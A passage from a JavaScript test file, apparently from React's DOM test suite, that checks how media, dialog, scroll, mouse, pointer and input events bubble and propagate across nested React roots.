    await testEmulatedBubblingEvent({\n        type: 'video',\n        reactEvent: 'onCanPlayThrough',\n        reactEventType: 'canplaythrough',\n        nativeEvent: 'canplaythrough',\n        dispatch(node) {\n          const e = new Event('canplaythrough', {\n            bubbles: false,\n            cancelable: true,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n\n    it('onClose', async () => {\n      await testEmulatedBubblingEvent({\n        type: 'dialog',\n        reactEvent: 'onClose',\n        reactEventType: 'close',\n        nativeEvent: 'close',\n        dispatch(node) {\n          const e = new Event('close', {\n            bubbles: false,\n            cancelable: true,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n\n    it('onDurationChange', async () => {\n      await testEmulatedBubblingEvent({\n        type: 'video',\n        reactEvent: 'onDurationChange',\n        reactEventType: 'durationchange',\n        nativeEvent: 'durationchange',\n        dispatch(node) {\n          const e = new Event('durationchange', {\n            bubbles: false,\n            cancelable: true,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n\n    it('onEmptied', async () => {\n      await testEmulatedBubblingEvent({\n        type: 'video',\n        reactEvent: 'onEmptied',\n        reactEventType: 'emptied',\n        nativeEvent: 'emptied',\n        dispatch(node) {\n          const e = new Event('emptied', {\n            bubbles: false,\n            cancelable: true,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n\n    it('onEncrypted', async () => {\n      await testEmulatedBubblingEvent({\n        type: 'video',\n        reactEvent: 'onEncrypted',\n        reactEventType: 'encrypted',\n        nativeEvent: 'encrypted',\n        dispatch(node) {\n          const e = new Event('encrypted', {\n            bubbles: false,\n            cancelable: true,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n\n    it('onEnded', async () => {\n      await testEmulatedBubblingEvent({\n        type: 'video',\n        reactEvent: 'onEnded',\n        reactEventType: 'ended',\n        nativeEvent: 'ended',\n        dispatch(node) {\n          const e = new Event('ended', {\n            bubbles: false,\n            cancelable: true,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n\n    it('onError', async () => {\n      await testEmulatedBubblingEvent({\n        type: 'img',\n        reactEvent: 'onError',\n        reactEventType: 'error',\n        nativeEvent: 'error',\n        dispatch(node) {\n          const e = new Event('error', {\n            bubbles: false,\n            cancelable: true,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n\n    it('onInvalid', async () => {\n      await testEmulatedBubblingEvent({\n        type: 'input',\n        reactEvent: 'onInvalid',\n        reactEventType: 'invalid',\n        nativeEvent: 'invalid',\n        dispatch(node) {\n          const e = new Event('invalid', {\n            bubbles: false,\n            cancelable: true,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n\n    it('onLoad', async () => {\n      await testEmulatedBubblingEvent({\n        type: 'img',\n        reactEvent: 'onLoad',\n        reactEventType: 'load',\n        nativeEvent: 'load',\n        dispatch(node) {\n          const e = new Event('load', {\n            bubbles: false,\n            cancelable: true,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n\n    it('onLoadedData', async () => {\n      await testEmulatedBubblingEvent({\n        type: 'video',\n        reactEvent: 'onLoadedData',\n        reactEventType: 'loadeddata',\n        nativeEvent: 'loadeddata',\n        dispatch(node) {\n          const e = new Event('loadeddata', {\n            bubbles: false,\n            cancelable: true,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n\n    it('onLoadedMetadata', async () => {\n      await testEmulatedBubblingEvent({\n        type: 'video',\n        reactEvent: 'onLoadedMetadata',\n        reactEventType: 'loadedmetadata',\n        nativeEvent: 'loadedmetadata',\n        dispatch(node) {\n          const e = new Event('loadedmetadata', {\n            bubbles: false,\n            cancelable: true,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n\n    it('onLoadStart', async () => {\n      await testEmulatedBubblingEvent({\n        type: 'video',\n        reactEvent: 'onLoadStart',\n        reactEventType: 'loadstart',\n        nativeEvent: 'loadstart',\n        dispatch(node) {\n          const e = new Event('loadstart', {\n            bubbles: false,\n            cancelable: true,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n\n    it('onPause', async () => {\n      await testEmulatedBubblingEvent({\n        type: 'video',\n        reactEvent: 'onPause',\n        reactEventType: 'pause',\n        nativeEvent: 'pause',\n        dispatch(node) {\n          const e = new Event('pause', {\n            bubbles: false,\n            cancelable: true,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n\n    it('onPlay', async () => {\n      await testEmulatedBubblingEvent({\n        type: 'video',\n        reactEvent: 'onPlay',\n        reactEventType: 'play',\n        nativeEvent: 'play',\n        dispatch(node) {\n          const e = new Event('play', {\n            bubbles: false,\n            cancelable: true,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n\n    it('onPlaying', async () => {\n      await testEmulatedBubblingEvent({\n        type: 'video',\n        reactEvent: 'onPlaying',\n        reactEventType: 'playing',\n        nativeEvent: 'playing',\n        dispatch(node) {\n          const e = new Event('playing', {\n            bubbles: false,\n            cancelable: true,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n\n    it('onProgress', async () => {\n      await testEmulatedBubblingEvent({\n        type: 'video',\n        reactEvent: 'onProgress',\n        reactEventType: 'progress',\n        nativeEvent: 'progress',\n        dispatch(node) {\n          const e = new Event('progress', {\n            bubbles: false,\n            cancelable: true,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n\n    it('onRateChange', async () => {\n      await testEmulatedBubblingEvent({\n        type: 'video',\n        reactEvent: 'onRateChange',\n        reactEventType: 'ratechange',\n        nativeEvent: 'ratechange',\n        dispatch(node) {\n          const e = new Event('ratechange', {\n            bubbles: false,\n            cancelable: true,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n\n    it('onResize', async () => {\n      await testEmulatedBubblingEvent({\n        type: 'video',\n        reactEvent: 'onResize',\n        reactEventType: 'resize',\n        nativeEvent: 'resize',\n        dispatch(node) {\n          const e = new Event('resize', {\n            bubbles: false,\n            cancelable: true,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n\n    it('onSeeked', async () => {\n      await testEmulatedBubblingEvent({\n        type: 'video',\n        reactEvent: 'onSeeked',\n        reactEventType: 'seeked',\n        nativeEvent: 'seeked',\n        dispatch(node) {\n          const e = new Event('seeked', {\n            bubbles: false,\n            cancelable: true,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n\n    it('onSeeking', async () => {\n      await testEmulatedBubblingEvent({\n        type: 'video',\n        reactEvent: 'onSeeking',\n        reactEventType: 'seeking',\n        nativeEvent: 'seeking',\n        dispatch(node) {\n          const e = new Event('seeking', {\n            bubbles: false,\n            cancelable: true,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n\n    it('onStalled', async () => {\n      await testEmulatedBubblingEvent({\n        type: 'video',\n        reactEvent: 'onStalled',\n        reactEventType: 'stalled',\n        nativeEvent: 'stalled',\n        dispatch(node) {\n          const e = new Event('stalled', {\n            bubbles: false,\n            cancelable: true,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n\n    it('onSuspend', async () => {\n      await testEmulatedBubblingEvent({\n        type: 'video',\n        reactEvent: 'onSuspend',\n        reactEventType: 'suspend',\n        nativeEvent: 'suspend',\n        dispatch(node) {\n          const e = new Event('suspend', {\n            bubbles: false,\n            cancelable: true,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n\n    it('onTimeUpdate', async () => {\n      await testEmulatedBubblingEvent({\n        type: 'video',\n        reactEvent: 'onTimeUpdate',\n        reactEventType: 'timeupdate',\n        nativeEvent: 'timeupdate',\n        dispatch(node) {\n          const e = new Event('timeupdate', {\n            bubbles: false,\n            cancelable: true,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n\n    it('onToggle', async () => {\n      await testEmulatedBubblingEvent({\n        type: 'details',\n        reactEvent: 'onToggle',\n        reactEventType: 'toggle',\n        nativeEvent: 'toggle',\n        dispatch(node) {\n          const e = new Event('toggle', {\n            bubbles: false,\n            cancelable: true,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n\n    it('onBeforeToggle Popover API', async () => {\n      await testEmulatedBubblingEvent({\n        type: 'div',\n        targetProps: {popover: 'any'},\n        reactEvent: 'onBeforeToggle',\n        reactEventType: 'beforetoggle',\n        nativeEvent: 'beforetoggle',\n        dispatch(node) {\n          const e = new Event('beforetoggle', {\n            bubbles: false,\n            cancelable: true,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n\n    it('onToggle Popover API', async () => {\n      await testEmulatedBubblingEvent({\n        type: 'div',\n        targetProps: {popover: 'any'},\n        reactEvent: 'onToggle',\n        reactEventType: 'toggle',\n        nativeEvent: 'toggle',\n        dispatch(node) {\n          const e = new Event('toggle', {\n            bubbles: false,\n            cancelable: true,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n\n    it('onBeforeToggle Dialog API', async () => {\n      await testEmulatedBubblingEvent({\n        type: 'dialog',\n        reactEvent: 'onBeforeToggle',\n        reactEventType: 'beforetoggle',\n        nativeEvent: 'beforetoggle',\n        dispatch(node) {\n          const e = new Event('beforetoggle', {\n            bubbles: false,\n            cancelable: true,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n\n    it('onToggle Dialog API', async () => {\n      await testEmulatedBubblingEvent({\n        type: 'dialog',\n        reactEvent: 'onToggle',\n        reactEventType: 'toggle',\n        nativeEvent: 'toggle',\n        dispatch(node) {\n          const e = new Event('toggle', {\n            bubbles: false,\n            cancelable: true,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n\n    it('onVolumeChange', async () => {\n      await testEmulatedBubblingEvent({\n        type: 'video',\n        reactEvent: 'onVolumeChange',\n        reactEventType: 'volumechange',\n        nativeEvent: 'volumechange',\n        dispatch(node) {\n          const e = new Event('volumechange', {\n            bubbles: false,\n            cancelable: true,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n\n    it('onWaiting', async () => {\n      await testEmulatedBubblingEvent({\n        type: 'video',\n        reactEvent: 'onWaiting',\n        reactEventType: 'waiting',\n        nativeEvent: 'waiting',\n        dispatch(node) {\n          const e = new Event('waiting', {\n            bubbles: false,\n            cancelable: true,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n  });\n\n  describe('non-bubbling events that do not bubble in React', () => {\n    it('onScroll', async () => {\n      await testNonBubblingEvent({\n        type: 'div',\n        reactEvent: 'onScroll',\n        reactEventType: 'scroll',\n        nativeEvent: 'scroll',\n        dispatch(node) {\n          const e = new Event('scroll', {\n            bubbles: false,\n            cancelable: true,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n\n    it('onScrollEnd', async () => {\n      await testNonBubblingEvent({\n        type: 'div',\n        reactEvent: 'onScrollEnd',\n        reactEventType: 'scrollend',\n        nativeEvent: 'scrollend',\n        dispatch(node) {\n          const e = new Event('scrollend', {\n            bubbles: false,\n            cancelable: true,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n  });\n\n  // The tests for these events are currently very limited\n  // because they are fully synthetic, and so they don't\n  // work very well across different roots. For now, we'll\n  // just document the current state in these tests.\n  describe('enter/leave events', () => {\n    it('onMouseEnter and onMouseLeave', async () => {\n      const log = [];\n      const targetRef = React.createRef();\n      await render(\n        <Fixture\n          type=\"div\"\n          targetRef={targetRef}\n          targetProps={{\n            onMouseEnter: e => {\n              log.push('---- inner enter');\n            },\n            onMouseLeave: e => {\n              log.push('---- inner leave');\n            },\n          }}\n          parentProps={{\n            onMouseEnter: e => {\n              log.push('--- inner parent enter');\n            },\n            onMouseLeave: e => {\n              log.push('--- inner parent leave');\n            },\n          }}\n          outerProps={{\n            onMouseEnter: e => {\n              log.push('-- outer enter');\n            },\n            onMouseLeave: e => {\n              log.push('-- outer leave');\n            },\n          }}\n          outerParentProps={{\n            onMouseEnter: e => {\n              log.push('- outer parent enter');\n            },\n            onMouseLeave: e => {\n              log.push('- outer parent leave');\n            },\n          }}\n        />,\n      );\n      expect(log.length).toBe(0);\n      targetRef.current.dispatchEvent(\n        new MouseEvent('mouseover', {\n          bubbles: true,\n          cancelable: true,\n          relatedTarget: null,\n        }),\n      );\n      // This order isn't ideal because each root\n      // has a separate traversal.\n      expect(log).toEqual(unindent`\n        --- inner parent enter\n        ---- inner enter\n        - outer parent enter\n        -- outer enter\n      `);\n      log.length = 0;\n      targetRef.current.dispatchEvent(\n        new MouseEvent('mouseout', {\n          bubbles: true,\n          cancelable: true,\n          relatedTarget: document.body,\n        }),\n      );\n      expect(log).toEqual(unindent`\n        ---- inner leave\n        --- inner parent leave\n        -- outer leave\n        - outer parent leave\n      `);\n    });\n\n    it('onPointerEnter and onPointerLeave', async () => {\n      const log = [];\n      const targetRef = React.createRef();\n      await render(\n        <Fixture\n          type=\"div\"\n          targetRef={targetRef}\n          targetProps={{\n            onPointerEnter: e => {\n              log.push('---- inner enter');\n            },\n            onPointerLeave: e => {\n              log.push('---- inner leave');\n            },\n          }}\n          parentProps={{\n            onPointerEnter: e => {\n              log.push('--- inner parent enter');\n            },\n            onPointerLeave: e => {\n              log.push('--- inner parent leave');\n            },\n          }}\n          outerProps={{\n            onPointerEnter: e => {\n              log.push('-- outer enter');\n            },\n            onPointerLeave: e => {\n              log.push('-- outer leave');\n            },\n          }}\n          outerParentProps={{\n            onPointerEnter: e => {\n              log.push('- outer parent enter');\n            },\n            onPointerLeave: e => {\n              log.push('- outer parent leave');\n            },\n          }}\n        />,\n      );\n      expect(log.length).toBe(0);\n      targetRef.current.dispatchEvent(\n        new Event('pointerover', {\n          bubbles: true,\n          cancelable: true,\n          relatedTarget: null,\n        }),\n      );\n      // This order isn't ideal because each root\n      // has a separate traversal.\n      expect(log).toEqual(unindent`\n        --- inner parent enter\n        ---- inner enter\n        - outer parent enter\n        -- outer enter\n      `);\n      log.length = 0;\n      targetRef.current.dispatchEvent(\n        new Event('pointerout', {\n          bubbles: true,\n          cancelable: true,\n          relatedTarget: document.body,\n        }),\n      );\n      expect(log).toEqual(unindent`\n        ---- inner leave\n        --- inner parent leave\n        -- outer leave\n        - outer parent leave\n      `);\n    });\n  });\n\n  const setUntrackedValue = Object.getOwnPropertyDescriptor(\n    HTMLInputElement.prototype,\n    'value',\n  ).set;\n\n  // The tests for these events are currently very limited\n  // because they are fully synthetic, and so they don't\n  // work very well across different roots. For now, we'll\n  // just document the current state in these tests.\n  describe('polyfilled events', () => {\n    it('onBeforeInput', async () => {\n      const log = [];\n      const targetRef = React.createRef();\n      await render(\n        <Fixture\n          type=\"input\"\n          targetRef={targetRef}\n          targetProps={{\n            onBeforeInput: e => {\n              log.push('---- inner');\n            },\n            onBeforeInputCapture: e => {\n              log.push('---- inner capture');\n            },\n          }}\n          parentProps={{\n            onBeforeInput: e => {\n              log.push('--- inner parent');\n            },\n            onBeforeInputCapture: e => {\n              log.push('--- inner parent capture');\n            },\n          }}\n          outerProps={{\n            onBeforeInput: e => {\n              log.push('-- outer');\n            },\n            onBeforeInputCapture: e => {\n              log.push('-- outer capture');\n            },\n          }}\n          outerParentProps={{\n            onBeforeInput: e => {\n              log.push('- outer parent');\n            },\n            onBeforeInputCapture: e => {\n              expect(e.type).toBe('beforeinput');\n              log.push('- outer parent capture');\n            },\n          }}\n        />,\n      );\n      expect(log.length).toBe(0);\n      const e = new Event('textInput', {\n        bubbles: true,\n      });\n      e.data = 'abcd';\n      targetRef.current.dispatchEvent(e);\n      // Since this is a polyfilled event,\n      // the capture and bubble phases are\n      // emulated, and don't align between roots.\n      expect(log).toEqual(unindent`\n        --- inner parent capture\n        ---- inner capture\n        ---- inner\n        --- inner parent\n        - outer parent capture\n        -- outer capture\n        -- outer\n        - outer parent\n      `);\n    });\n\n    it('onChange', async () => {\n      const log = [];\n      const targetRef = React.createRef();\n      await render(\n        <Fixture\n          type=\"input\"\n          targetRef={targetRef}\n          targetProps={{\n            onChange: e => {\n              log.push('---- inner');\n            },\n            onChangeCapture: e => {\n              log.push('---- inner capture');\n            },\n          }}\n          parentProps={{\n            onChange: e => {\n              log.push('--- inner parent');\n            },\n            onChangeCapture: e => {\n              log.push('--- inner parent capture');\n            },\n          }}\n          outerProps={{\n            onChange: e => {\n              log.push('-- outer');\n            },\n            onChangeCapture: e => {\n              log.push('-- outer capture');\n            },\n          }}\n          outerParentProps={{\n            onChange: e => {\n              log.push('- outer parent');\n            },\n            onChangeCapture: e => {\n              expect(e.type).toBe('change');\n              log.push('- outer parent capture');\n            },\n          }}\n        />,\n      );\n      expect(log.length).toBe(0);\n      setUntrackedValue.call(targetRef.current, 'hello');\n      targetRef.current.dispatchEvent(\n        new Event('input', {\n          bubbles: true,\n        }),\n      );\n      // The outer React doesn't receive the event at all\n      // because it is not responsible for this input.\n      expect(log).toEqual(unindent`\n        --- inner parent capture\n        ---- inner capture\n        ---- inner\n        --- inner parent\n      `);\n    });\n\n    it('onCompositionStart', async () => {\n      const log = [];\n      const targetRef = React.createRef();\n      await render(\n        <Fixture\n          type=\"input\"\n          targetRef={targetRef}\n          targetProps={{\n            onCompositionStart: e => {\n              log.push('---- inner');\n            },\n            onCompositionStartCapture: e => {\n              log.push('---- inner capture');\n            },\n          }}\n          parentProps={{\n            onCompositionStart: e => {\n              log.push('--- inner parent');\n            },\n            onCompositionStartCapture: e => {\n              log.push('--- inner parent capture');\n            },\n          }}\n          outerProps={{\n            onCompositionStart: e => {\n              log.push('-- outer');\n            },\n            onCompositionStartCapture: e => {\n              log.push('-- outer capture');\n            },\n          }}\n          outerParentProps={{\n            onCompositionStart: e => {\n              log.push('- outer parent');\n            },\n            onCompositionStartCapture: e => {\n              expect(e.type).toBe('compositionstart');\n              log.push('- outer parent capture');\n            },\n          }}\n        />,\n      );\n      expect(log.length).toBe(0);\n      const e = new Event('compositionstart', {\n        bubbles: true,\n      });\n      targetRef.current.dispatchEvent(e);\n      // Since this is a polyfilled event,\n      // the capture and bubble phases are\n      // emulated, and don't align between roots.\n      expect(log).toEqual(unindent`\n        --- inner parent capture\n        ---- inner capture\n        ---- inner\n        --- inner parent\n        - outer parent capture\n        -- outer capture\n        -- outer\n        - outer parent\n      `);\n    });\n\n    it('onCompositionEnd', async () => {\n      const log = [];\n      const targetRef = React.createRef();\n      await render(\n        <Fixture\n          type=\"input\"\n          targetRef={targetRef}\n          targetProps={{\n            onCompositionEnd: e => {\n              log.push('---- inner');\n            },\n            onCompositionEndCapture: e => {\n              log.push('---- inner capture');\n            },\n          }}\n          parentProps={{\n            onCompositionEnd: e => {\n              log.push('--- inner parent');\n            },\n            onCompositionEndCapture: e => {\n              log.push('--- inner parent capture');\n            },\n          }}\n          outerProps={{\n            onCompositionEnd: e => {\n              log.push('-- outer');\n            },\n            onCompositionEndCapture: e => {\n              log.push('-- outer capture');\n            },\n          }}\n          outerParentProps={{\n            onCompositionEnd: e => {\n              log.push('- outer parent');\n            },\n            onCompositionEndCapture: e => {\n              expect(e.type).toBe('compositionend');\n              log.push('- outer parent capture');\n            },\n          }}\n        />,\n      );\n      expect(log.length).toBe(0);\n      const e = new Event('compositionend', {\n        bubbles: true,\n      });\n      targetRef.current.dispatchEvent(e);\n      // Since this is a polyfilled event,\n      // the capture and bubble phases are\n      // emulated, and don't align between roots.\n      expect(log).toEqual(unindent`\n        --- inner parent capture\n        ---- inner capture\n        ---- inner\n        --- inner parent\n        - outer parent capture\n        -- outer capture\n        -- outer\n        - outer parent\n      `);\n    });\n\n    it('onCompositionUpdate', async () => {\n      const log = [];\n      const targetRef = React.createRef();\n      await render(\n        <Fixture\n          type=\"input\"\n          targetRef={targetRef}\n          targetProps={{\n            onCompositionUpdate: e => {\n              log.push('---- inner');\n            },\n            onCompositionUpdateCapture: e => {\n              log.push('---- inner capture');\n            },\n          }}\n          parentProps={{\n            onCompositionUpdate: e => {\n              log.push('--- inner parent');\n            },\n            onCompositionUpdateCapture: e => {\n              log.push('--- inner parent capture');\n            },\n          }}\n          outerProps={{\n            onCompositionUpdate: e => {\n              log.push('-- outer');\n            },\n            onCompositionUpdateCapture: e => {\n              log.push('-- outer capture');\n            },\n          }}\n          outerParentProps={{\n            onCompositionUpdate: e => {\n              log.push('- outer parent');\n            },\n            onCompositionUpdateCapture: e => {\n              expect(e.type).toBe('compositionupdate');\n              log.push('- outer parent capture');\n            },\n          }}\n        />,\n      );\n      expect(log.length).toBe(0);\n      const e = new Event('compositionupdate', {\n        bubbles: true,\n      });\n      targetRef.current.dispatchEvent(e);\n      // Since this is a polyfilled event,\n      // the capture and bubble phases are\n      // emulated, and don't align between roots.\n      expect(log).toEqual(unindent`\n        --- inner parent capture\n        ---- inner capture\n        ---- inner\n        --- inner parent\n        - outer parent capture\n        -- outer capture\n        -- outer\n        - outer parent\n      `);\n    });\n\n    it('onSelect', async () => {\n      const log = [];\n      const targetRef = React.createRef();\n      await render(\n        <Fixture\n          type=\"input\"\n          targetRef={targetRef}\n          targetProps={{\n            onSelect: e => {\n              log.push('---- inner');\n            },\n            onSelectCapture: e => {\n              log.push('---- inner capture');\n            },\n          }}\n          parentProps={{\n            onSelect: e => {\n              log.push('--- inner parent');\n            },\n            onSelectCapture: e => {\n              log.push('--- inner parent capture');\n            },\n          }}\n          outerProps={{\n            onSelect: e => {\n              log.push('-- outer');\n            },\n            onSelectCapture: e => {\n              log.push('-- outer capture');\n            },\n          }}\n          outerParentProps={{\n            onSelect: e => {\n              log.push('- outer parent');\n            },\n            onSelectCapture: e => {\n              expect(e.type).toBe('select');\n              log.push('- outer parent capture');\n            },\n          }}\n        />,\n      );\n      expect(log.length).toBe(0);\n      targetRef.current.focus();\n      targetRef.current.dispatchEvent(\n        new Event('keydown', {\n          bubbles: true,\n        }),\n      );\n      // The outer React doesn't receive the event at all\n      // because it is not responsible for this input.\n      expect(log).toEqual(unindent`\n        --- inner parent capture\n        ---- inner capture\n        ---- inner\n        --- inner parent\n      `);\n    });\n  });\n\n  // Events that bubble in React and in the browser.\n  // React delegates them to the root.\n  async function testNativeBubblingEvent(config) {\n    await testNativeBubblingEventWithTargetListener(config);\n    await testNativeBubblingEventWithoutTargetListener(config);\n    await testReactStopPropagationInOuterCapturePhase(config);\n    await testReactStopPropagationInInnerCapturePhase(config);\n    await testReactStopPropagationInInnerBubblePhase(config);\n    await testReactStopPropagationInOuterBubblePhase(config);\n    await testNativeStopPropagationInOuterCapturePhase(config);\n    await testNativeStopPropagationInInnerCapturePhase(config);\n    await testNativeStopPropagationInInnerBubblePhase(config);\n    await testNativeStopPropagationInOuterBubblePhase(config);\n  }\n\n  // Events that bubble in React but not in the browser.\n  // React attaches them to the elements.\n  async function testEmulatedBubblingEvent(config) {\n    await testEmulatedBubblingEventWithTargetListener(config);\n    await testEmulatedBubblingEventWithoutTargetListener(config);\n    await testReactStopPropagationInOuterCapturePhase(config);\n    await testReactStopPropagationInInnerCapturePhase(config);\n    await testReactStopPropagationInInnerBubblePhase(config);\n    await testNativeStopPropagationInOuterCapturePhase(config);\n    await testNativeStopPropagationInInnerCapturePhase(config);\n    await testNativeStopPropagationInInnerEmulatedBubblePhase(config);\n  }\n\n  // Events that don't bubble either in React or in the browser.\n  async function testNonBubblingEvent(config) {\n    await testNonBubblingEventWithTargetListener(config);\n    await testNonBubblingEventWithoutTargetListener(config);\n    await testReactStopPropagationInOuterCapturePhase(config);\n    await testReactStopPropagationInInnerCapturePhase(config);\n    await testReactStopPropagationInInnerBubblePhase(config);\n    await testNativeStopPropagationInOuterCapturePhase(config);\n    await testNativeStopPropagationInInnerCapturePhase(config);\n  }\n\n  async function testNativeBubblingEventWithTargetListener(eventConfig) {\n    const log = [];\n    const targetRef = React.createRef();\n    await render(\n      <Fixture\n        type={eventConfig.type}\n        targetRef={targetRef}\n        targetProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('---- inner');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('---- inner capture');\n          },\n        }}\n        parentProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('--- inner parent');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('--- inner parent capture');\n          },\n        }}\n        outerProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('-- outer');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('-- outer capture');\n          },\n        }}\n        outerParentProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('- outer parent');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            expect(e.type).toBe(eventConfig.reactEventType);\n            log.push('- outer parent capture');\n          },\n        }}\n      />,\n    );\n    expect(log.length).toBe(0);\n    eventConfig.dispatch(targetRef.current);\n    // Should print all listeners.\n    expect(log).toEqual(unindent`\n      - outer parent capture\n      -- outer capture\n      --- inner parent capture\n      ---- inner capture\n      ---- inner\n      --- inner parent\n      -- outer\n      - outer parent\n    `);\n  }\n\n  async function testEmulatedBubblingEventWithTargetListener(eventConfig) {\n    const log = [];\n    const targetRef = React.createRef();\n    await render(\n      <Fixture\n        type={eventConfig.type}\n        targetRef={targetRef}\n        targetProps={{\n          ...eventConfig.targetProps,\n          [eventConfig.reactEvent]: e => {\n            log.push('---- inner');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('---- inner capture');\n          },\n        }}\n        parentProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('--- inner parent');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('--- inner parent capture');\n          },\n        }}\n        outerProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('-- outer');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('-- outer capture');\n          },\n        }}\n        outerParentProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('- outer parent');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            expect(e.type).toBe(eventConfig.reactEventType);\n            log.push('- outer parent capture');\n          },\n        }}\n      />,\n    );\n    expect(log.length).toBe(0);\n    eventConfig.dispatch(targetRef.current);\n    // This event doesn't bubble natively, but React emulates it.\n    // Since the element is created by the inner React, the bubbling\n    // stops at the inner parent and never reaches the outer React.\n    // In the future, we might consider not bubbling these events\n    // at all, in which case inner parent also wouldn't be logged.\n    expect(log).toEqual(unindent`\n      - outer parent capture\n      -- outer capture\n      --- inner parent capture\n      ---- inner capture\n      ---- inner\n      --- inner parent\n    `);\n  }\n\n  async function testNonBubblingEventWithTargetListener(eventConfig) {\n    const log = [];\n    const targetRef = React.createRef();\n    await render(\n      <Fixture\n        type={eventConfig.type}\n        targetRef={targetRef}\n        targetProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('---- inner');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('---- inner capture');\n          },\n        }}\n        parentProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('--- inner parent');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('--- inner parent capture');\n          },\n        }}\n        outerProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('-- outer');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('-- outer capture');\n          },\n        }}\n        outerParentProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('- outer parent');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            expect(e.type).toBe(eventConfig.reactEventType);\n            log.push('- outer parent capture');\n          },\n        }}\n      />,\n    );\n    expect(log.length).toBe(0);\n    eventConfig.dispatch(targetRef.current);\n    // This event doesn't bubble natively, and React is\n    // not emulating it either. So it only reaches the\n    // target and stops there.\n    expect(log).toEqual(unindent`\n      - outer parent capture\n      -- outer capture\n      --- inner parent capture\n      ---- inner capture\n      ---- inner\n    `);\n  }\n\n  async function testNativeBubblingEventWithoutTargetListener(eventConfig) {\n    const log = [];\n    const targetRef = React.createRef();\n    await render(\n      <Fixture\n        type={eventConfig.type}\n        targetRef={targetRef}\n        targetProps={\n          {\n            // No listener on the target itself.\n          }\n        }\n        parentProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('--- inner parent');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('--- inner parent capture');\n          },\n        }}\n        outerProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('-- outer');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('-- outer capture');\n          },\n        }}\n        outerParentProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('- outer parent');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            expect(e.type).toBe(eventConfig.reactEventType);\n            log.push('- outer parent capture');\n          },\n        }}\n      />,\n    );\n    expect(log.length).toBe(0);\n    eventConfig.dispatch(targetRef.current);\n    // Should print all listeners except the innermost one.\n    expect(log).toEqual(unindent`\n      - outer parent capture\n      -- outer capture\n      --- inner parent capture\n      --- inner parent\n      -- outer\n      - outer parent\n    `);\n  }\n\n  async function testEmulatedBubblingEventWithoutTargetListener(eventConfig) {\n    const log = [];\n    const targetRef = React.createRef();\n    await render(\n      <Fixture\n        type={eventConfig.type}\n        targetRef={targetRef}\n        targetProps={{\n          ...eventConfig.targetProps,\n          // No listener on the target itself.\n        }}\n        parentProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('--- inner parent');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('--- inner parent capture');\n          },\n        }}\n        outerProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('-- outer');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            log.push('-- outer capture');\n          },\n        }}\n        outerParentProps={{\n          [eventConfig.reactEvent]: e => {\n            log.push('- outer parent');\n          },\n          [eventConfig.reactEvent + 'Capture']: e => {\n            expect(e.type).toBe(eventConfig.reactEventType);\n            log.push('- outer parent capture');\n          },\n        }}\n      />,\n    );\n    expect(log.length).toBe(0);\n  